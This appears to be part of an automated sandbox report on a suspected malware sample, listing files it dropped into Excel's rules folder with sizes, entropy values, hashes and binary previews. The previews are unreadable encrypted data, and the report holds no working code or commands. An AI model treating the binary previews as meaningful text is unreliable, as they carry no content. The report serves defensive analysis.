Preview:	<?xml.]..d..p......:r.L....7TJ..6+g.b...!a.g;TN....$..........rDW.x...v.6.8...Tg]..-.6.i@.#.U3%.].......... ..uep.O/.o.R..W;i.W.=....Im".S./..B..l...}..%..~..2...#......3..hg...w..u..]\|S&e._..Vq......~V.+.uM?_=......p.T....+.........;<.@7..YU..tsk3Q....I!.h.v..o~...vt.m.i..X....V....r)s._.OV....;....k..~.'..-s....u..\.Gc\.`c..9.B".;......,..g>@.+._GjFe..ex....U........!V.:...U...M../j.T.8...d.a....O.Q..O..^..S..}..+..A..>...../.%.C.>...>2..tL.%I...S]....U/=b7f..G....iW.c[..k.a9S_........cX..l[.>:..&.V`.F....l......t......$.......^P..<Gi.V8..R...9...b.&.\|D..i..DOW....lG.#"y......~.\|.J[.x6..f..=.gR.D7...Q'..\|T*r8'....m1F2Nk.xe.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.875580581823033
Encrypted:	false
SSDEEP:	48:zLNa0CHCsaYsC0mSZ00akq0r44q2OSLABeO5fuZTvqFD:HNIsO0myB8SLOSLYP5Ivq9
MD5:	C21800A726BA2B53CFCE2F834ABC8E33
SHA1:	0D98F3C4BB7A8A49E9643C6F6BE0BB66B701127A
SHA-256:	82C503CEB2CC7BC5C5BA19AA41701C95744C6E139B0125B1E1D6A000AA8E1013
SHA-512:	8B060A7D5D05ECB81379C2256C025126A41F7F4CC131B317A3A0944FB85DAE49707A62E35DA80E6EC5F68CC488DB86E8C191A7C094E425B5783515C80A00647B
Malicious:	false
Preview:	<?xml....[?.{..7..<......r.m..Y...m=..~l.q....^...D.}~p&.3...?....~A,.7...W;..zJZ.3.Pf.jG....F.v.]. .?Y.W..%@w?.PT.Pn&...G.......'.7..!...~?./....~2D."......XC....2A.......8..VH\.DW..Q#:N..msl#;.Z:^.6.....k...K...>n.,....S9.......<...^..T].1nD..D.e..8k..X..N...Z...-Y8......^.......f.=a...N=...l..k9.:...i.9...D.+C...F...^...x....:..PO20v".;.cD...1..7..vE7....T.t.zP+. .TX..w.q..:..~.I)h..P...\..w.=w..D.Q...D....o8..+(e..+e.N..O.'o.5.0f...{...h...j.X. ..s.%.........y.A...........i..,:.N].....nB..t.'.......e.h...2\.!^..Y....-M..F.U...R......j..g....j..^..)`.X........D........'T...e....<...#.NMbrR...8.5](....]`=0...(.t...xRGZ. ...j]........\YQQ..s...F...F.),F......9.~..'.<.:....[........e0o..g1.n.H.e..%.;d\.g..../.S.<".7$...M..c.{.f...9.....Lo.s..q.....f..........\.....y.T..d.'....<}m.L_C;.....L.ew..e@..R.DU....m..z......`A.9....f.HA..dH.a,.fP.B_9....362..Gr..l.j..n..h.S..w..%...O..M.../@.....!.....,xk..h_..~=I[#...rf..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.7017030788903424
Encrypted:	false
SSDEEP:	24:ojTeOHDU5H3KPIUyYTnUYSEktrEnnGRCb9ICl3oR7VbD:rCpuASEktOaOIClmFD
MD5:	8C867F2652798743A04FC9FEA9E3F328
SHA1:	65B3AE9C6608EDAFC9EA3DF246E7002C0E76B1E7
SHA-256:	99C6316AC4ECA986290076A38027D30F3E0A0E0D46491BEDF14A8E1C6B04EB38
SHA-512:	8035A91D5818230DCA5EF8F6A089B3FB7D9DE2EC00EC26ABF7975F68E187A71B6D55108B821AC398AB9A378549450F14164A091B2025C59C93B5B4ADB847D4C5
Malicious:	false
Preview:	<?xml.....t/.w...?j.yMo]."Dl...Wp.@M...2..p.\....MU.S.%........G...p..#<(..4fe&.a....].B.v...94..O.N..b7..:z.(..m~.u....?.%.(..;A#...p..Y.H..y&.q..>.HB...,G<#..{.m;B.rmF.T.f..ip...xc/b.....\|..Q..u>q.....?zj...L..I.5C)..._Xh...v.UV.......U....KK.-...kF]...s..G..hG+6..ub.....C......+K'I\..._...8..}/.ic.....x.......s..Q?.....R.Ru..i..+....l[.....G...(.2.j ..+9B...O..&z..4oX....... ..P...3...b.:.=...T..K~..}.!...+..yU.;.8]...l.-.'..\..Ip...H....l;....t.@.%..m.}."...s..8...m........h7....i....d>.t...5..S.t....S&0...F.9y..Mg......c.j.%.@.i..X@..!hUf.?&.@.r...Z+.....Q.d...............;2...=..V."i.2..R...i....P.e..e.....<....T..Az.(....'....8.G...........>...?..3..,.. ..30.i.~....vf......+....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.82760332216793
Encrypted:	false
SSDEEP:	24:4VsnpRmbTufGI+VCsLf2UYbwisaAoBfugkFNmrP/7w6TrVbD:eopobTuuICCsLf2U2wAPtpWmrLw6TrFD
MD5:	C64B17D936D4C3E8E14CE442E2525A90
SHA1:	4B8202640E133B2C3D85D873BFB59BA1BE2D12AD
SHA-256:	83946B9850995FE312D4ED1279EC466DD26D9111F856D4FB4E98769F13D6A186
SHA-512:	27EF86A2997E116019B7805D8DDC09BAB624DA7B807B96F89D6F3BE7B8B97ABDD4DE44738E8CDB143E1D6A25720A353ABDDC272F36ADC75FF021B57EBD1EF4A7
Malicious:	false
Preview:	<?xml.......D....\.....e.?...m,....8:2.........nw.....&[......W..l.E0......v.~..6w.X(..L!..j..'.YS.(.u......).=.<....dl...6..z...]..../HA$:.....tK........x#..N.O...........qO.a!.s..Y&2\#....R.:G2.8c;p2..~......6..@.O1G.{..x..t`7{&6..@\|e.......n.:..)S.j.~.....m..59vMk.uUr..\|)...id....}....e...a...c......~....m...g,b30.i.m...&..vF...Pj].....>..._.y......e..mTRk.k.I..v.....7...W...M.yj.<Ws4Z..2......\.4QG.".....=...p.....H.....[.D.....&#.j.~.DF.. . .`xU.?...w.m....p.X..U.Qc._A..v.p+.U.t...S..../_.t~.s\..5J=@...J.>-d8..L...e.K.QQ..%.f.4hA.3/u.l....R.....]R.z.\|.Qc.3$9.7O..1T.. >.gXo.....=./....[.x..d...Q..3L..h8.....Z ....B...b..%.....{:x$......@P3.f9C..V.......Z....~.r...9.!..1....7^.,...E.:..g).x=.....%...2.nS..~..S...6......hB./MB..hW.M.%.y.k..JI/a.......6=...d.0..y..zYi.g..vqB7....a^p.~{8..L+..6..it...sL(.l....Ij._.........<...~.RyW[...q.J....t...n.N...7X.0vw......~.,IU.M).. n....m.$%k.........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.875459113812121
Encrypted:	false
SSDEEP:	24:sYOj82vF+ItdWPkIehUVgagB2KJSmAYosMtT+NslRQBuAOZVbD:sYu82vYUIiagfJGx9T+NyrAOZFD
MD5:	ADBD5810ACAA5D8B8A5FA338DCE3F52D
SHA1:	359A52497A04B93C922ABA6C22A9F8B587E030DE
SHA-256:	0D9417AC3E3615B2E310A0DFBE32CEF8EC4F497EBE33A8BE86395EB3E2D41313
SHA-512:	4BD173340ADE03968FC3192DD6075971FDD42F503008BD6EFBCBCA0528F4FF2D1BEDEA80E6793375A22BB0116FBEF781C905C847ADC17F56CD6ACB5171420CB5
Malicious:	false
Preview:	<?xml.3.]~.U^Q:...`.....%<..{hpt..fZ,.%[......s..1S).......7wX..s$.w.tuBM.23...g.j......k...YFR.b.R#O...l.t........_. 9."._8>rh..T...au..>..9...n........E4558.s.k.s&.B..`%%.P._S....X?c.....x.L...-2x..2..9.$z@j.l..e....6...../fr...??h..........h....A.QI.f........1.o......J5..O.......\..`.J..Vc.:.]....8...X...".6.t.v.'V.t"..#."......S../...#}v.X.^v..e[.P..n.gz;......Z..\|....5.A.....3...=...L..{z.(.... .Gb.E...4...r...Y.......@.pl.lXi..1.h-...`........BiBhA..q.J... .q&......p./J.u.h;..zW.1k#..^..K..L".(U.dB......f.....p...@....tS.V.....Tj.L(L.0....x.(....0.q..\|@...._.........>.[.C....O....5{...;...p.5C.\|....l....'rOH.7.e........v)..."VG;.}PY)...m.......).q..e..V\.X..1..D..w..p..E.E..."..w.L8=....,0.[..1#.L#.".NU..x.7~....{s.$(......_b.YmV.w....;?]....uj.c.HO?f. .S...!....f{g.....{..\V.1.*.HT.N......x(...P..N.f.....G;.R.E.E.O.....6"S.Yp.P.@S..k.MR..?.>..eg.-..&w..%...I5.....R....KF..q4..'.1.....x]..`0).-...m.k.=..g\|.-e}......u...C..~6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.928718512242465
Encrypted:	false
SSDEEP:	48:GFUEN1MezxKzJLYiBrXPSvCqX65kp5wUJNoGRDeHfZvZb1Epxr9CUuyu5hFD:m6ez2ZLM6KwUJBkHfZvPEpxJDuh9
MD5:	90C193EE67A583C0C3118C4F4FB0551D
SHA1:	CE453AE41CA08873B560B366D4B1C0EC63BDB10F
SHA-256:	B59D172208F54483E2427C0FFDFD5A96DD7D8C812061F13E4D7F3477A63BFE20
SHA-512:	B56FBEA829AC0AD64A972233615C7CA4323049F2CD84D9E049D9BFC50AFC9FA390DE142236323F2FADBBA6994BA87CD322470BC6C55A05AE5BA6CC9F86AD46BE
Malicious:	false
Preview:	<?xml.....d..6u2.D@.>..hU..P.....'...{r.MlIR."G..GP...=....m]B.f.3.UeQ$...]-q.'E.\|...B.y.Y.+\q..(..'.}.....`.G..4.".g.\z...h5g...+..`....!s.J+!.^....x...&.'%....K~=].x.8...:['.....yPpX6....%..1S.......W.......1``Q...&A...#n~b....I.,!R.5&7w..?.}s..a}.....( (G..........6=...^.+.kC.m..r&.[.7..D`.N....gQ....B...O...,J.....e.46c.T.....z.3z...@QR.o../m..C$...k.l)..2.......@wx...\..9Xn@)....'\X..(.Sj.9.'.....;}.. z..2.<~\..F={..M.Ji.KJ.?....].).&..+.Y.2..x.Hg.B......7......{x......,.E0.!.....v&]6.#..b;T........-...W..TUf..s.l.....Jf;..w.6....l.E..?.O?.R.X.....V.`Qx.To..Z..0...-..J.:(.F._fnDK.'..8S....z.......:$.HJ..V.P..J.!0.H.)..5.e.(o.7....@....x1...C.1...8....y....?... .$j9Vu.._.e*.\|......L......w..4.&..w....L\|h...4`........?.l.......')..z./".j...'...r..>.>..eP..BM.F.............2\n...j66jG...5.t.>5S.T:8r\.T.S..X.c..AU'.2...'p;o.....l...N...O..a?...............B.....Oa3.c...-kMx.G .d'e2x.y..$.J~..=G..-.k.#.{....7:.H......z.._..,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.843469000772668
Encrypted:	false
SSDEEP:	24:ekiIOAjPGWPiBjxECisZycHoBcSx4Wt7JcwA3BGOCruIXhzjPc8VbD:nuW6jO8hHOcnWrc18OCSGFD
MD5:	889811823A2E04AF0EFA6A966F65D2B1
SHA1:	F625FC7B2269D28E75A5CF680595FAD5C55CA24A
SHA-256:	2C42A8EC0283F66DC5135907647EEF3EA27BE7E327F4D93A291446ED3BBF0917
SHA-512:	BCA533154F74F5392907F4C5C1A2E1396C7929E2B41B2194EE1D8102C7FBE491F7D7350F671C911F13D32B9FDB13E01BB0DF2B8DD8F65DE40D15E9623AC1C6A6
Malicious:	false
Preview:	<?xml.[>v.c...,...X).....>?.`.r..............n.s........=J.i.9.8....i..T...>b.q......no..8..A.$~<\|G..C..P.....0..s.hf..n.C(..,....4.1ma...A.1<..d....x.."..{/..._.....<....,f..9..D...#=a.o...J......#..].!.U.OZ..\|.....v..+D.x..8......oy!Wu,w.....M...hs....)N.^.....\|....o../d.....].6..).:-3...4.iR..f...t...\|@n.^kJ...s&.......a..0.4C.. .v.....O.c..}....zq5...I.U.....n..XI..k.-.-m!dK......E.5t...-.Y...d.`j...X7....g......3.............D..d...K..v.....?.......8...T.2..MJ..)..^5...Y}..w..7.n...#g......n`6.v.0]...u.i .@^..`..x'/.'3..j.6.g.HR.cxM..J.I..@+w.ok...p.L.3..0....b*b..F.&7.G1P.O.F..bC. ..V5..-..._.m...`.}.......0.E_.....R{%.L.y$<-.3..y...r/.v..x.."XK#.O?tG.<..qRd..L.Zw....%...........5.....<......j..\fE......SD.:..V...>Ny....eFA.QmK........)6Y..b...T.../B.....hXd.?.+...2....,+.j.A.n.(.ikW...<.....M."IG..W.Y9c..kwW3@.h.V.T.4.xb..R.b.......L#.C.../.v[>^Q..r.wR.9w.....kV.....].Ui..>.\|.:...w.c.F....3l.>\y..p...)..%.I{..x3.1....x..&4`.r.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.839526786404556
Encrypted:	false
SSDEEP:	24:aQD1+EzWmBAEPJmp/FGK1F1Q4u+2Apc7jvJDcpVbD:ae+EzHVPM6KS4KApGjJeFD
MD5:	89F9524156C56C39091D6ED636481793
SHA1:	D2D7908E91ADD376799405CC909B83207B16617F
SHA-256:	68BF2C925D5D675181E0B44931FD9D9E715FD9657AA7C122CC9197BCFF2BCD05
SHA-512:	B159A814EBC078AC9F9141233815A74023284002CF1B82F11D1CE73E0D57EF31E3AFFFB7C17F02FB55F3CE7389931017174733E2B5A07FF498242FFB47818C88
Malicious:	false
Preview:	<?xmlf&.Y....x.......^W...O....H..?...sQN..@.......:U.Ze.....(.Z.n..\wJ....j.V.....T...`HT.]}<../....\|P.'i..2.D..To.pyb}.-.6].~9.J....a....TL(r.a....%..sXb.dM<.....%.Ch..1..Q..%.\..X.....c.7..N....G.Bu.N./C.&.i.\.A.$...-.(..p.~\|....w....w.U.1.\...[....U. ..xf.(..X...u..b.JD.......".b.L...../.A........3N!.@..F..U.-jG.^p....tc.X..n..Ey...Js=.........s.y..v"....P.(u.0.(.1...Z..g86i-."..Eh...q...H.wM...l...J..cH.He.F....-.........b... =..R4.7.....vl..G..J.9.(..!k.3. hD...@.6.p..B...09.X...)M...OF..!..z.`>....x.Gu.-...$.W&!..M...x..#..;8h\|^.v..H..~(...G.t......].....}..1...?YL.a.~.j.F.k.T..X......#;.....:..........:zk..G&..$...[...!.s..L......\|..TN.A..3.......).^"h..o..U..4.....(...3..Gl.7..=_..p%..K.45...:.....0.9.Z.,.....4..f..(!..........N.",.t.?A..Rz.O2v...dI@+.f@..Xg..n.#Z(.I.(..)0r..T.........L..Ka....^Yn...^.-.$.6..`...D.....z..Pt.....\|x...[.l......{P.@;..hb.....'...(^..<M...=D..M.....I+.....9....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.871518419625684
Encrypted:	false
SSDEEP:	48:3JIOE2321W7pIiQFeyHvp/0T9sC4L2ecFD:3KOzG1W7mp1q9sjlc9
MD5:	BCC7E5CBE021B2621EF2F5098E80377D
SHA1:	F4CC55B8CFBD28B388538BA20D5BB4B1550D1A65
SHA-256:	5D43ACAECF53FC01297BC991A6BEB7CEBC62BF97BA43E3EF31A5100C28170CFD
SHA-512:	6220EA0F80D441EF9BAD7A79BACDB667A3D0E8FE0C0E30B1D524475E157D1D0B12D7D9C6241FCCEBAE520980C597EBAA9BF851D988F257AD7BA00C0B46EF02E3
Malicious:	false
Preview:	<?xml..i2...z~.....S.P....m.L.').J.......M".A%.o.8....o,wC.b.......i.e....M.(..cy....I.......4.O...w7.?,s..Q...DO...T.S. N@...X.....lIL.P.oT.L....Sj.=.nK...'.}..m.y..UzFn.......\P..J.S...O.....p.\........F...{a".95...7..od...\|.[..K.5..7k.G.D...v.#..Y. .h...P.7..8'K!.............r......\q....[...5.S{D..W)C..U.nL..._...UP......tm`..8C.'sF..l(.Ff.Z..(.....Wd......kH.8/tZ>....^F.@w........ys...H....<1e.#..".....F~x.n..j.$.f........].L.R.]O!....9O.i<.&..........A).....D....idH{....`..w......{YF.W@.A...M..%k..w...m.w..._....n...........`..O..B_O.. ^+D.^).e.M...F..6.N.[G....wU.8....6.X.]F...f...........k,.....(d......%....;...[..-..b...S?.Q..O........T.....I..y....i"....&.....,.. .r3v...<w...~............:..r.=.tI:G.6...6Z.L....J..?l..x6E(,...sh..X.j.!.A...y8^....b...T.).....[.K8\C...p.../.@.>&..G.?h.z`..f5....,....F..WjC..&...A...=...5....{@.....{..@.PFZT#.=18..<......N...."6..m....,...i....E....uU...d1...&....gMTB...SV"i.S.Vqpa..X...1..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.802958038626728
Encrypted:	false
SSDEEP:	24:tXDmxHAf4ln9xkbgUu/IYE16yvsFoL2GXv5IyAVVbD:tS2fG9xkbgz/IL6yg0nvilFD
MD5:	3226C14530A465C1E9120F58F09174D9
SHA1:	4754588CD9659FC3CF894DC0FBAA8EB73D77355A
SHA-256:	26BC68407EC87C8D0E93AB76A2AC20558B06C221A7818515CCE1073E658E3AE8
SHA-512:	7087E28C09525E971E9FEE41C578BA2CDE6555D1FD3868345CC27281750F21B86B5CE5EA85DD264D83355D77B3AEAC0A2012DADB97BD0C316C680C01450F110E
Malicious:	false
Preview:	<?xmlc..3;..C.K@`.Jw=....p.a.;..Q.. ..7B[.R.>..._a.I;Q...,..zbyM.sR...S..a..z..f2\|)..Z..i..<..<P....].rEf.S"..<j+.VRuE.\|[.k..N.D4.....L..a....5...F.6..^g....U.K.X..~..9cd_.{...*...x.;.........:\K.F.@q......[c%Ec..@LD...K..x.)U.EM..8.7Z..\.....'.7.....y.vs.\......P..?..7..J...ER.:.I#....Y.j....Lj..K.I........r.Uw..Ox.3....y....T.G.....hZ..v..Jg.k..pd......'XAe.K...E.....'8..c...?...G...P..9..F....e.Ox.U[.....Ki..9......i.U..1"..5.......C...../,.fh....!A@.........{.D..,3B...Y..G`Z.Q....+\.(..g......h.o.....i....O....SU..z........qV.K..7...7..s.W@.OC.....7...}E?...X.{.%..L...Q.x..x..3P64.k.V...i..../..V.M.{..C4fn.u.......cQ....D..P.[.!...=.f..%......#6....p...P)..o._..5Wc...}..._f...]...Qt..E.i=.i...r.4......2..P;.Q....W\..T..T(Q...$Q..e..&YB...\|.'e...L....M.n,.q..4f...=..f<pI.fd....$...xK..,.e......9u...^....;S@..w.B..@...'..P......5..l....../.%lL.......U......\.9......&.......D.>j.2.7...H..T..]0'...p.s..W....Z8..4..Z;.P.T..}..-Bh

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.8397532037921565
Encrypted:	false
SSDEEP:	24:7GSXiSasD2TMOWu2MjP48gUMEpXo0m+dsxGHfsKyNYDDjVbD:7fXNqTlPj0UZ1hmWsx5K/jFD
MD5:	1BFEFACA9A8FF00DD1F806C1DDAD54E2
SHA1:	3D3DDA83025C3E724C1EB04424397C5DD5FE29C2
SHA-256:	05AC052EA268FC70C99371D87C06799BAB5CFA97E5DC386197089F45682F1FB7
SHA-512:	0F830AC852369E0FB5599D14E99701277E829A1C81374B7C9C92B829EB07F0C29B6E9AACE7A37EF1E1D3D537DED8FE20CDFC903CB88CF4AC9F970433F3FE1B9B
Malicious:	false
Preview:	<?xmlX..8.@.nD..h.=..> .o...;..x3k(..u..`..O.F...=.=...D.R0..H".%....<.......X....n.....C...2V.4...r.1./).^..B.{}J..%(.T.5.1 /."P.D................0h..G.I.d..G..`B..g.^.7.@...t.AU.z..p..&..._`..\|...._+.......lW...7.k.4...d..A.a<...<#...Kc..I=..b..w.\.GU..1Dr..R......N.E$j'.px..ldu.mw95.4.......x......m..((. K.....[KO.L.QD..:.8d>,....%Mi..MZ.MZ.'....n..6\./#L......&....$....{.)..x..8..%$k6.tV.:...[v.D...e.U...es.wS.\|..!....0.e..9.............I...c.p....]...<.:fB..t. ."..W...a. 2R..p1A.30>..G.~.B.......5L.....M..1&..bs#..F....U...7.b(..x..!.{o.wo.i.dO.h..$..$...........{...:Il..G.q.c}r_bw#ET2..ft.fX....Q.e.X.W..;z..c.t.._...!t........P..T....D...ti....G.1.Y.h...4.l..G...g.Y....r...A.S.8f...U..d.t.^.2qX.i4o.....v...<..m........&.H.e.M..f.c...UYi..m.Y:.._.IC..=.............U.hT..:[..Q;7i......H......ho..Vo......"./=w......)..........g..@..j,.(..D$..h ..:...-.M..........rG3..^I:.F..*............Z1........K...z.8p.].r......5.B..U.~.....a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.887436658693322
Encrypted:	false
SSDEEP:	48:Wi1weUOsbwQFja9UAslQoJoRUllKgLNjnETmzdmRmIQ1VbiPikBRFD:p1wex4OslQVJgL5nxGQXbCv9
MD5:	A327673DDDDCDBC4DF79B09B563B861E
SHA1:	3A8AA6055F350C907FD5E96DE8E66C17DDDF62DA
SHA-256:	BD34F530CF4F06EDA8080E1119635E40EF4FBDC58673C38F608DA11ACA1EC1C9
SHA-512:	A7089B91F5E71DB26223BA43F88FF1C3393BF001C9C92B0CBB95E90BD75D9B933B1F2C6A8341ED5DA519D96A9B3BB2603D773B9D366C8B106AF5A981B953D309
Malicious:	false
Preview:	<?xml.~.........u......H..._+...TX&..4...9.9.z..E...6m.\|.........o..3H/.r.a.=..QV..\|\ ..nD.=Z7..24]g...HZg]O;c@'.Q0..n.y..[....z..jz..P.,...h.y..{..%4..e..k...\.vPT.X{-.y.....6............K.X....T.6.......=.>..G9....V.y,....%.&.Wf...$....tR...>..=.1b.1.?......(.{....L5\.....d..=.<._4]..?......$....k).E<...-..%.cO..l.R..Z-.Q...[..4.`..2..qZ..<.....W-.. ..jU.P$r.u..3.<..2..QZ..<.2.4.].~.m...Es.\..uP.h..._.......x.M@G..p...o.#`.`3c.K...!........X...2Cb....}m...U=....$....c......{=u..A.....]..a...O..d{x.Z..M@0..L..F.O...@dV....c@....Z5..:.....t....v*$...N%{.-........:x#.......;.......].m..:.E..+...J...h.w].~j..c...<.=@..n......4C9....?7..q..@...x?.Q...Q..~..._q......1...1..Ds.. k..........F.Z."...if..-."k..........}m.-.U..)..Z..9.x....[.^._f.l.....B.,',.j..p~P.. :......7Q3........1H.....~..Tf.%H......N......G.O/.D.#7...M.tV..+....~i..kGb.W.l.....:....(3B..?..f.....k.tV..k..5....h1.......b...TZ._E.4NA....=.Q.:7~}SZ...)..~OWB...-.6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.859393053951772
Encrypted:	false
SSDEEP:	24:U84JjmqEDeUeHHYGtZxMO1s9Fe/+cmNvXx9s8afRL3ntEX7sXh56ouQ9EjvDbGA2:U8cmfDebHLi8s9FemNvXLs73tEX7sXTD
MD5:	DE32C9348F40EA9A5FE1DB17C71D2C9C
SHA1:	E4438D5BAF3ED0099A665084D1C29D733AB3C8F2
SHA-256:	0BC02F700C7F01E55EB1920B7FD3932233B123094DA2C6C38E7C18AF67992BA7
SHA-512:	B81ABBA2D0D0AF3552F1B7A928251A8EDDC3E8B7D20AF699592BD5948D77447C1821FA3DC43753D145C95BAA60B8D3E2545189AFACC76391DC7DBD8E3E313BA0
Malicious:	false
Preview:	<?xml.....M6.{.E.>....c.8..t.s..j.b\|..O.k.`.$..I.+..y..eM.!. %...@...b)X.Y\|.wa..3.....]q.....}.o.q0..................:...J...=...q.J.b....\|.R+..O....e..$..t.l..ZK.,%.rG..Po..r-...\|../.A.)1..........)1"\|hK..F..s....x\|4..g. . .,..fxH......a94@F...W.vLC..N.~nP@..~.2......{~/..H.w.....3...u.......[.....x%g.a..O.^/..='.O'...x.@x%.].XTW.^.E.1C.YCH._..v...h.5...G...6..!(....D....x.H...O..x.I.....l..J....p.QB...w..j..zS.q..U....a...L....r..ir...r...0...~..U..op.C....3.~..>J..Oy....R............./S.\|..cU./2ksGe..!..^......G...N.....q.........%fBC.e.{...:.6.M..<f....g.l...n..+.q.n.o.>.V?..E.2.9.9S.n.Z.O..z.F<....>/9qZ..T8.r .qY.....6W.......+F...%.p.\:..W.6.+..Lz..hG-.....n5p....>....@.gJI..3.z.....q.....[.cd.6.J$.K..x...\|3IKzV..w]v..>.~$.......IA..dj.....8........[....8_..!....zja.......\|...l.8..m..h..,..i.$....A.f..N).a][..2+...]./4u..V.........(/.P).?.%X.9.x...'..J.v.o..."+(^X..Z...g.=x4.!...o......._F:..A..b.wPJwe.}..+...S`w..8...=....9....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.852747244814035
Encrypted:	false
SSDEEP:	24:MJG2XjryC8NtgMFWJKV6MFvrjFgdvPAbQKmJBdH1eEkiIYUpaI2UUP+v4qj2yjc9:MJ9/yC8YRJKV6MtrjFWAbQKcleMKGUZq
MD5:	AFB0082751CC21B8997712B31C5F86B0
SHA1:	568D398189EF2105A21F5D6C84375BE8126A4959
SHA-256:	5B272E00872F6008C16C245F0A255EA2E79A70B33A310905D1BCD53017EB0559
SHA-512:	9C7371A8AB5EE6F23A08526C372CA02CF683AD235A03EB4E0A4C62F6AB79A65416C6E695EE9D9BBAA51EBB6DDA12DED073B24774632706A7F9905741CE511356
Malicious:	false
Preview:	<?xml.n2..k.j.kG1...W.f.y.../z....1.U...0..../.%...\..qG.d...-....t.NV.....6\..tR'kc,.BZ.1...mW\|.......1.I.hA.E.V./+........p...W#3QHH.JP..j.@...r.)...[ %].X.-...Y......3zJI....Dw 1....u...i.=bq..'t.....!....p.d+.Y..o........].G.b`1by......u4$?..p.x@......jS..&d../....\|.;...}.!..._g...R..0K...........C.aY...AU.b.-.F..8k?._.^...Y/..I..b...+...h.....`....R..oN.u...FyN..8).e0....k8.6.....S.}...........=..^Y.X..32~..U..N...mk.I..Iz..O2.Xb...:....]...6x......~..3]4..$...Fk..x.M~...,bV=..u.U...%.....y...Qy...n.Jxm..;9.c.W....R.e.....].J]..n..FQ?....G.a..O......rO..4~6iV...nP.....`..E..L.w@..b..w.5iy...e...J.v...."D..J.....a+.5.O....~[B....t.?..xh....P...U..........K....J...{.K.1M.w.&J.?.V.jD9c2....F..'..e.^m`Y\|.c(.....i.'.{..@.@........G...VE.wk.0....>.g!.v.....-....I8.<1g2.#.DQ.j(..-....{...S.../..I..3.d.9..4z....S).p..U...._..#O..=.D....p.&.f.../.6..Q........{?ug.Hg77...I....,....a..K..'.....0.............D.v$I..6."~..}.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.793193588078544
Encrypted:	false
SSDEEP:	24:WMjTi/MTIs4mBmj1QAxXPZkzdduqdxWVbD:WMZTvSxfZkzfuqSFD
MD5:	EE2423D22533B0541461C8C6A8635380
SHA1:	9A1C6AA461FDBCED8273378A665DE13C5C298EDF
SHA-256:	2FC1B7A566EDC3FCBB80933BE5266F6787225703D898E22C2B6AF5D8A50CCB70
SHA-512:	37694EC321D7651D2BE31E068560628518D6F7EBAA7802107F1DCB0770DD4B7BC2E5F3A399228874FBB441489BADEDEC0964763DA5A9C68EC00956D8E1D9B1F6
Malicious:	false
